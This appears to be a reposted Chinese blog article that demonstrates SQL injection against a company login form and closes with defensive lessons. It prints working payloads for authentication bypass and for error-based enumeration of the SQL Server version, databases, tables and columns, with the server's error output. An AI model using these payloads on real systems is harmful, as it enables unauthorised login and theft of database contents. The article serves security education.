共计 2374 个字符，预计需要花费 6 分钟才能阅读完成。
这篇文章将为大家详细讲解有关 SQL 注入全过程的深入分析是怎样的，文章内容质量较高，因此丸趣 TV 小编分享给大家做个参考，希望大家阅读完这篇文章后对相关知识有一定的了解。
分析了 SQL 注入全过程，具体如下：
初步注入 – 绕过验证，直接登录
公司网站登陆框如下：
可以看到除了账号密码之外，还有一个公司名的输入框，根据输入框的形式不难推出 SQL 的写法如下：复制代码 代码如下:
SELECT * From Table WHERE Name= XX and Password= YY and Corp= ZZ
我发现前两者都做一些检查，而第三个输入框却疏忽了，漏洞就在这里！注入开始，在输入框中输入以下内容：
用户名乱填，密码留空，这种情况下点击登录按钮后竟然成功登录了。
我们看一下最终的 SQL 就会找到原因：复制代码 代码如下:
SELECT * From Table WHERE Name= SQL inject and Password= and Corp= or 1=1–
从代码可以看出，前一半单引号被闭合，后一半单引号被“–”给注释掉，中间多了一个永远成立的条件“1=1”，这就造成任何字符都能成功登录的结果。而 Sql 注入的危害却不仅仅是匿名登录。
中级注入 – 借助异常获取信息
现在我们在第三个输入框中写入：
‘or 1=(SELECT @@version) –如下：
后台的 SQL 变成了这样：
SELECT * From Table WHERE Name= SQL inject and Password= and Corp= or 1=(SELECT @@VERSION)--判断条件变成了 1 =(SELECT @@VERSION),
这个写法肯定会导致错误，但出错正是我们想要的。点击登录后，页面出现以下信息：
Conversion failed when converting the nvarchar value Microsoft SQL Server 2008 (SP3) – 10.0.5500.0 (X64) Sep 21 2011 22:45:45Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit)on Windows NT 6.1 X64 (Build 7601: Service Pack 1) to data type int.
可怕的事情出现了，服务器的操作系统和 SQL Server 版本信息竟然通过错误显示出来。
危害扩大 – 获取服务器所有的库名、表名、字段名
接着，我们在输入框中输入如下信息：复制代码 代码如下:
t or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))–
此时发现第三个输入框有字数长度的限制，然而这种客户端的限制形同虚设，
直接通过 Google 浏览器就能去除。
点击登录，返回的信息如下：
Conversion failed when converting the nvarchar value master to data type int.
数据库名称“master”通过异常被显示出来！依次改变上面 SQL 语句中的序号，
就能得到服务器上所有数据库的名称。
接着，输入信息如下：复制代码 代码如下:
b or 1=(SELECT top 1 name FROM master..sysobjects where xtype= U and name not in (SELECT top 1 name FROM master..sysobjects where xtype= U))–
得到返回信息如下：
Conversion failed when converting the nvarchar value spt_fallback_db to data type int.
我们得到了 master 数据库中的第一张表名：“spt_fallback_db”，
同上，依次改变序号，可得到该库全部表名。
现在我们以“spt_fallback_db”表为例，尝试获取该表中所有的字段名。在输入框中输入以下代码：复制代码 代码如下:
b or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name= spt_fallback_db
于是，得到错误提示如下：
Conversion failed when converting the nvarchar value xserver_name to data type int.
这样第一个字段名“xserver_name”就出来了，依次改变序号，就能遍历出所有的字段名。
最终目的 – 获取数据库中的数据
写到这里，我们已知通过 SQL 注入能获取全部的数据库，表，及其字段，为了防止本文完全沦为注入教程，获取数据的代码就不再描述，而这篇文章的目的也已达到，SQL 注入意味着什么？意味着数据库中所有数据都能被盗取。
当知道这个危害以后，是否还能有人对 SQL 注入漏洞置之不理？
结语
关于安全性，总结出一下几点：
1. 对用户输入的内容要时刻保持警惕。
2. 只有客户端的验证等于没有验证。
3. 永远不要把服务器错误信息暴露给用户。
除此之外，我还要补充几点：SQL 注入不仅能通过输入框，还能通过 Url 达到目的。
2. 除了服务器错误页面，还有其他办法获取到数据库信息。
3. 可通过软件模拟注入行为，这种方式盗取信息的速度要比你想象中快的多。
4. 漏洞跟语言平台无关。
关于 SQL 注入全过程的深入分析是怎样的就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。
